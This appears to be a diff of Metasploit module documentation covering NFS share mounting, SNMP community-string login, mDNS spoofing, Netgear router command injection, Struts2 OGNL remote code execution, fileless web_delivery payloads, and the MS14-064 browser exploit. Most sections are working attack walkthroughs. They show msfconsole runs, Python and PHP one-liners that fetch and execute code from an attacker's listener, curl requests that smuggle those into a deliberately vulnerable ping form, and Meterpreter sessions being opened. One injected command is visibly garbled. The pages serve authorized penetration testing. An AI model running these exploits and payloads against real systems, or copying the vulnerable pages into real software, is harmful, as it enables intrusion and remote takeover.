[*] Scanned 72 of 240 hosts (30% complete)
[+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0]
[*] Scanned 96 of 240 hosts (40% complete)
[+] 10.10.xx.xx NFS Export: /common []
```
## Confirming
Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to verify this configuration issue.
The following are other industry tools which can also be used.
### [nmap](https://nmap.org/nsedoc/scripts/nfs-showmount.html)
```
nmap -p 111 --script=nfs-showmount 127.0.0.1
Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-12 19:41 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000037s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
| /tmp/open_share *
|_ /tmp/closed_share 10.1.2.3
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
```
### [showmount](https://packages.debian.org/sid/amd64/nfs-common/filelist)
showmount is a part of the `nfs-common` package for debian.
```
showmount -e 127.0.0.1
Export list for 127.0.0.1:
/tmp/open_share *
/tmp/closed_share 10.1.2.3
```
## Exploitation
Exploiting this mis-configuration is trivial, however exploitation doesn't necessarily give access (command execution) to the system.
If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS), or it is open (*), mounting is trivial.
The following instructions were written for Kali linux.
1. Create a new directory to mount the remote volume to: `mkdir /mnt/remote`
2. Use `mount` to link the remote volume to the local folder: `mount -t nfs 127.0.0.1:/tmp/open_share /mnt/remote`
The mount and its writability can now be tested:
1. Write a file: `echo "hello" > /mnt/remote/test`
2. The remote end now has the file locally:
```
cat /tmp/open_share/test
hello
```
1. To unmount: `umount /mnt/remote`
At this point, its time to hope for a file of value. Maybe code with hardcoded credentials, a `passwords.txt`, or an `id_rsa`.

View File

@ -0,0 +1,94 @@
## Vulnerable Application
Installation instructions for SNMP server can be found for every operating system.
The [Ubuntu 14.04](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-an-snmp-daemon-and-client-on-ubuntu-14-04) instructions can be used as an example for installing and configuring NFS. The
following was done on Kali linux:
1. `sudo apt-get install snmpd`
2. Set SNMP to listen on non-localhost: `nano /etc/snmp/snmpd.conf`
```
# Listen for connections from the local system only
#agentAddress udp:127.0.0.1:161
# Listen for connections on all interfaces (both IPv4 *and* IPv6)
agentAddress udp:161,udp6:[::1]:161
```
3. Restart the service: `service snmpd restart`
### SNMP Versions
SNMP has 3 main versions.
* **1**, **2c**: both use simple password protection (string), and are often defaulted to `public` (read only), and `private` (read/write). Version 2 is backwards compatible with version 1. This is a plaintext protocol and is vulenrable to being intercepted.
* **3**: has several security levels and is significantly more complex, but also not covered in this module.
## Verification Steps
1. Install and configure SNMP
2. Start msfconsole
3. Do: `use auxiliary/scanner/snmp/snmp_login`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(snmp_login) > run
[!] No active DB -- Credential data will not be saved!
[+] 127.0.0.1:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Linux hostname 4.9.0-kali1-amd64 #1 SMP Debian 4.9.6-3kali2 (2017-01-30) x86_64
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
```
[+] 10.4.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Cisco IOS Software, C1130 Software (C1130-K9W7-M), Version 12.4(10b)JA, RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Wed 24-Oct-07 15:17 by prod_rel_team
[*] Scanned 12 of 58 hosts (20% complete)
[*] Scanned 18 of 58 hosts (31% complete)
[+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006
[+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006
[*] Scanned 24 of 58 hosts (41% complete)
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
[*] Scanned 29 of 58 hosts (50% complete)
[*] Scanned 35 of 58 hosts (60% complete)
[*] Scanned 41 of 58 hosts (70% complete)
[*] Scanned 47 of 58 hosts (81% complete)
[+] 10.25.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006
```
## Confirming
Since SNMP has been around for quite a while, there are many tools which can also be used to verify this configuration issue.
The following are other industry tools which can also be used.
### [nmap](https://nmap.org/nsedoc/scripts/snmp-info.html)
```
nmap -p 161 -sU --script=snmp-info 127.0.0.1
Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-12 23:00 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00017s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 54ad55664725a15800000000
| snmpEngineBoots: 2
|_ snmpEngineTime: 31m30s
Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

View File

@ -0,0 +1,71 @@
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
## Vulnerable Application
To use mdns_response, be on a network with devices/applications that can make mDNS multicast requests on 5353/udp for A and AAAA record queries.
## Verification Steps
1. `use auxiliary/spoof/mdns/mdns_response`
2. `set INTERFACE network_iface`
3. `set SPOOFIP4 10.x.x.x`
4. `run`
## Options
**The SPOOFIP4 option**
IPv4 address with which to spoof A-record queries
```
set SPOOFIP4 [IPv4 address]
```
**The SPOOFIP6 option**
IPv6 address with which to spoof AAAA-record queries
```
set SPOOFIP6 [IPv6 address]
```
**The REGEX option**
Regex applied to the mDNS to determine if spoofed reply is sent
```
set REGEX [regex]
```
**The TTL option**
Time To Live for the spoofed response (in seconds)
```
set TTL [number of seconds]
```
## Scenarios
```
msf > use auxiliary/spoof/mdns/mdns_response
msf auxiliary(mdns_response) > set SPOOFIP4 10.x.x.y
SPOOFIP4 => 10.x.x.y
msf auxiliary(mdns_response) > set INTERFACE en3
INTERFACE => en3
msf auxiliary(mdns_response) > run
[*] Auxiliary module execution completed
msf auxiliary(mdns_response) >
[*] mDNS spoofer started. Listening for mDNS requests with REGEX "(?-mix:.*)" ...
```
On Victim Machine
```
ping something.local
```
(IP address should resolve to spoofed address)
```
[+] 10.x.x.z mDNS - something.local. matches regex, responding with 10.x.x.y
```

View File

@ -0,0 +1,58 @@
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router.
## Vulnerable Application
Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and possibly earlier.
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/http/netgear_r7000_cgibin_exec`
3. Do: `set RHOST <RouterIP>`
4. Do: `set PAYLOAD <payload>`
5. Do: `run`
6. If the router is a R7000 or R6400, the module should run
## Options
**PAYLOAD**
The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module
## Scenarios
Sample output of the options looks like so
```
msf exploit(netgear_r7000_cgibin_exec) > options
Module options (exploit/linux/http/netgear_r7000_cgibin_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.1 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.153.34 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf exploit(netgear_r7000_cgibin_exec) >
```

View File

@ -0,0 +1,104 @@
`struts2_content_type_ognl` is a module that exploits Apache Struts 2's Jakarta Multipart
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
`Content-Type` value.
## Vulnerable Application
Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10 are vulnerable.
You can download these versions here with any version of Apache Tomcat:
http://archive.apache.org/dist/struts/
You will also need to install a Struts 2 showcase application, which can be found here:
https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase
## Options
**TARGETURI**
The path to a struts application action
**VHOST**
The HTTP server virtual host. You will probably need to configure this as well, even though it is
set as optional.
## Demonstration
**The Check Command**
The `struts2_content_type_ognl` module comes with a check command that can effectively check
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
following:
```
set VERBOSE true
set RHOST [IP]
set TARGETURI [path to the Struts app with an action]
```
When the module is in verbose mode, the `check` command will try to tell you the OS information,
and whether or not the machine is vulnerable. Like this:
```
msf exploit(struts2_content_type_ognl) > check
[+] Victim operating system: Linux
[+] 10.1.11.11:8080 The target is vulnerable.
```
**Exploiting the Host**
After identifying the vulnerability on the target machine, you can try to exploit it.
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
try to do `show payloads`, and pick one. The following example demonstrates us exploiting a
vulnerable Ubuntu host:
```
msf exploit(struts2_content_type_ognl) > show options
Module options (exploit/multi/http/struts2_content_type_ognl):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 10.1.11.11 yes The target address
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /struts2-showcase/ yes The path to a struts application action
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LPORT 4444 yes The listen port
RHOST 10.1.11.11 no The target address
Exploit target:
Id Name
-- ----
0 Universal
msf exploit(struts2_content_type_ognl) > run
[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
{"Server"=>"Apache-Coyote/1.1",
"Set-Cookie"=>"JSESSIONID=548FF051466E6C1F3AAE814E385057DE; Path=/; HttpOnly",
"Content-Type"=>"text/html;charset=UTF-8",
"Content-Length"=>"6335",
"Date"=>"Tue, 14 Mar 2017 21:04:06 GMT"}
[*] Sending stage (1495599 bytes) to 10.1.11.11
[*] Meterpreter session 5 opened (192.168.1.11:50671 -> 10.1.11.11:4444) at 2017-03-14 16:04:36 -0500
meterpreter >
```

View File

@ -1,16 +1,13 @@
As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk.
The web_delivery module provides a stealthy way to deliver a payload during post exploitation over HTTP or HTTPS. Because the payload does not touch the disk, it can easily bypass many anti-virus protections.
Currently, web_delivery supports three different languages for delivery: Python, PHP, and
Powershell. You should be able to tell which one you can use based on the target environment
you are in.
The web_delivery module supports three different languages for delivery: Python, PHP, and
Powershell. You should manually select the correct target based on the victim environment you are exploiting.
For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell.
For example, if you have gained remote access through a PHP application, it is likely you can use PHP. If you are in a modern Windows server environment, then you can usually assume the target supports Powershell as well.
## Verification Steps
To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter.
At that point, you would use the web_delivery module like in the following example:
To use the web_delivery module, you must first gain access to the target host and be able to execute either a Python, PHP, or Powershell interpreter. Then, follow these steps to proceed with exploitation:
1. Start msfconsole
2. Run: ```use exploit/multi/script/web_delivery```
@ -20,57 +17,319 @@ At that point, you would use the web_delivery module like in the following examp
6. Do: ```run```
7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.
8. Copy the command. Depending on your pentesting scenario, you can either inject the
command and get code execution, or run it from the target's shell and get a session:
command into a vulnerable application, or run it from the target's shell and get a session:
```
msf exploit(web_delivery) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.23.1:4444
[*] Started reverse TCP handler on 192.168.2.1:4444
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));"
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.1:8080/z5inGkwCCQiz9'));"
[*] Delivering Payload
[*] Sending stage (33684 bytes) to 172.16.23.134
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600
[*] Sending stage (33684 bytes) to 192.168.2.134
[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.134:41684) at 2016-03-02 11:41:34 -0600
```
## Targets
**Python**
Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3.
Python is a popular language, especially on Unix-based systems. It has shipped by default with Ubuntu Linux since version 8.04, Mac OS X since version 10.3, and is widely available on other systems as well.
**PHP**
PHP is a fairly popular language for web servers, especially Apache.
PHP is often found on web servers, especially in shared hosting environments. It is the basis for popular web applications such as WordPress, Joomla, and Drupal.
**Powershell/Windows**
Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2
are the first Windows versions to come with Powershell by default. Older Windows systems such as XP
don't come with it by default, but it is still possible to see it installed on a corporate network.
Powershell is a popular language on modern Windows systems, largely replacing batch files and Windows Scripting Host for Windows automation. Windows 7 and Windows Server 2008 R2 were the first versions to come with Powershell by default. Older Windows systems, such as XP and Server 2003, can still have it installed as an optional component.
## Scenarios
**Against a compromised web application**
web_delivery would work nicely for a web application with a command execution vulnerability.
One way to approach this would be:
web_delivery works nicely against a web application with a command execution vulnerability. One way to approach this would be:
1. Start exploit/multi/script/web_delivery
2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session.
3. If the modified HTTP/HTTPS request is successful, you should get a session.
**Shell upgrade**
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one.
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done:
Here's how that can be done:
1. Start exploit/multi/script/web_delivery that generates/
2. In msfconsole, interact with the shell, and copy/paste the command.
1. Start `exploit/multi/script/web_delivery` that generates the command to inject.
2. Interact with the shell, and copy/paste the command.
3. You should get a Meterpreter session.
An example of this process can be seen below where an Ubuntu 14.04 victim is first exploited through `auxialiary/scanner/ssh/ssh_login`, and then upgraded via `web_delivery`.
```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.2.156
rhosts => 192.168.2.156
msf auxiliary(ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(ssh_login) > run
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(web_delivery) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/DovbvqRaB
[*] Local IP: http://192.168.2.117:8080/DovbvqRaB
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
msf exploit(web_delivery) > sessions -i 1
[*] Starting interaction with 1...
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
[*] 192.168.2.156 web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.156
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35840) at 2017-03-05 19:59:44 -0500
^Z
Background session 1? [y/N] y
msf exploit(web_delivery) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : Ubuntu14
OS : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016
Architecture : x64
Meterpreter : python/linux
meterpreter >
```
## Vulnerable Pages
### Perl cgi
These instructions will create a cgi environment and a vulnerable perl application for exploitation. We used Kali rolling (2016.2) for this tutorial.
#### Setup
In this example, we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner.
1. Enable cgi: `a2enmod cgid`
2. `mkdir /var/www/cgi-bin`
3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags
4. Create the vulnerable page by writing the following text to `/var/www/cgi-bin/example.pl`:
```
#!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
print $query->header( -type=> "text/html"),
$query->start_html();
$query->import_names( 'Q' );
if ( $Q::ip ) {
print `ping -c 1 $Q::ip`, "<hr>";
}
print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED),
$query->p("Enter IP to ping:"),
$query->textfield(-name=>"ip"), #, -id=>"ip"),
$query->submit(-name=>"submit"),
$query->end_form(),
$query->end_html();
```
5. Make it executable: `chmod +x /var/www/cgi-bin/example.pl`
We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`.
`curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"`
or via GET request:
`curl "http://127.0.0.1/cgi-bin/example.pl?ip=127.0.0.1%3Bwhoami&submit=submit"` (note url encoding)
```
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms
www-data
<hr><form method="post" action="/cgi-bin/example.pl" enctype="application/x-www-form-urlencoded" name="ping"><p>Enter IP to ping:</p><input type="text" name="ip" value="127.0.0.1;whoami" /><input type="submit" name="submit" value="submit" /></form>
</body>
</html>
```
### Exploitation
1. `use exploit/multi/script/web_delivery`
2. `set lhost 192.168.2.117`
3. `exploit`
```
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/vNPlsjE
[*] Local IP: http://192.168.2.117:8080/vNPlsjE
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());"
msf exploit(web_delivery) >
```
Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation was most likely successful.
```
[*] 192.168.2.117 web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.117
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500
```
or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us:
```
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
[*] 192.168.2.117 web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.117
[*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500
100 1172 0 981 100 191 233 45 0:00:04 0:00:04 --:--:-- 233
100 1172 0 981 100 191 158 30 0:00:06 0:00:06 --:--:-- 0^CInterrupt: use the 'exit' command to quit
msf exploit(web_delivery) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter python/linux www-data @ k 192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117)
```
### PHP
In this example we make a `post` form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner.
1. Enable cgi: `a2enmod php7.0`
2. Create the vulnerable page by writing the following text to `/var/www/html/example.php`:
```
<html>
<body>
<?php
if ($_POST["ip"]){
print( shell_exec('ping -c 1 '.$_POST["ip"]) . "<hr>");
}
print("<form method=\"post\"
action=\"/example.php\"
enctype=\"application/x-www-form-urlencoded\"
name=\"ping\">
<p>Enter IP to ping:</p><input type=\"text\" name=\"ip\" value=\"\" />
<input type=\"submit\" name=\"submit\" value=\"submit\" /></form>");
?>
</body>
</html>
```
We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`.
`curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"`
```
<html>
<body>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
www-data
<hr><form method="post"
action="/example.php"
enctype="application/x-www-form-urlencoded"
name="ping">
<p>Enter IP to ping:</p><input type="text" name="ip" value="" />
<input type="submit" name="submit" value="submit" /></form> </body>
</html>
```
### Exploitation
1. `use exploit/multi/script/web_delivery`
2. `set lhost 192.168.2.117`
3. `set target 1`
4. `set payload php/meterpreter/reverse_tcp`
5. `exploit`
```
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/de3uw0
[*] Local IP: http://192.168.2.117:8080/de3uw0
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"
msf exploit(web_delivery) >
```
Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation was most likely successful.
```
[*] 192.168.2.117 web_delivery - Delivering Payload
[*] Sending stage (33986 bytes) to 192.168.2.117
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500
```
or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us:
```
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 490 0 329 100 161 11490 5623 --:--:-- --:--:-- --:--:-- 11344
[*] 192.168.2.117 web_delivery - Delivering Payload
[*] Sending stage (33986 bytes) to 192.168.2.117
[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500
100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit
```

View File

@ -0,0 +1,97 @@
## Vulnerable Application
This module exploits the Windows OLE Automation array vulnerability, [CVE-2014-6332](https://www.cvedetails.com/cve/cve-2014-6332). The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 boxes. This is because from Windows 8 upward Internet Explorer blocks the payload from executing. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead.
## Verification Steps
1. Start msfconsole
1. Do: ```use exploit/windows/browser/ms14_064_ole_code_execution```
1. Do: ```Choose a payload and set any specific options```
1. Do: ```run```, after a target browses to the generated URL, you should receive a session.
## Options
**TRYUAC**
Ask victim to start as Administrator. This option only works on Windows 7 targets.
**AllowPowershellPrompt**
Allow exploit to try Powershell. If exploiting a Windows 7 target you need to enable this option.
## Scenarios
### Windows XP Pro SP3 x86 with IE 8.0.6001.18702
The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.207`.
```
msf > use exploit/windows/browser/ms14_064_ole_code_execution
msf exploit(ms14_064_ole_code_execution) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms14_064_ole_code_execution) > set LHOST 192.168.2.3
LHOST => 192.168.2.3
msf exploit(ms14_064_ole_code_execution) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.3:4444
msf exploit(ms14_064_ole_code_execution) > [*] Using URL: http://0.0.0.0:8080/hGA1Ux
[*] Local IP: http://192.168.2.3:8080/hGA1Ux
[*] Server started.
[*] 192.168.2.207 ms14_064_ole_code_execution - Gathering target information for 192.168.2.207
[*] 192.168.2.207 ms14_064_ole_code_execution - Sending HTML response to 192.168.2.207
[*] 192.168.2.207 ms14_064_ole_code_execution - Sending exploit...
[*] 192.168.2.207 ms14_064_ole_code_execution - Sending VBS stager
[*] Sending stage (957487 bytes) to 192.168.2.207
[*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.207:1299) at 2017-03-01 19:07:12 +0100
msf exploit(ms14_064_ole_code_execution) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : MACHINE
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```
### Windows 7 Pro SP1 x64 with IE 8.0.7601.17514
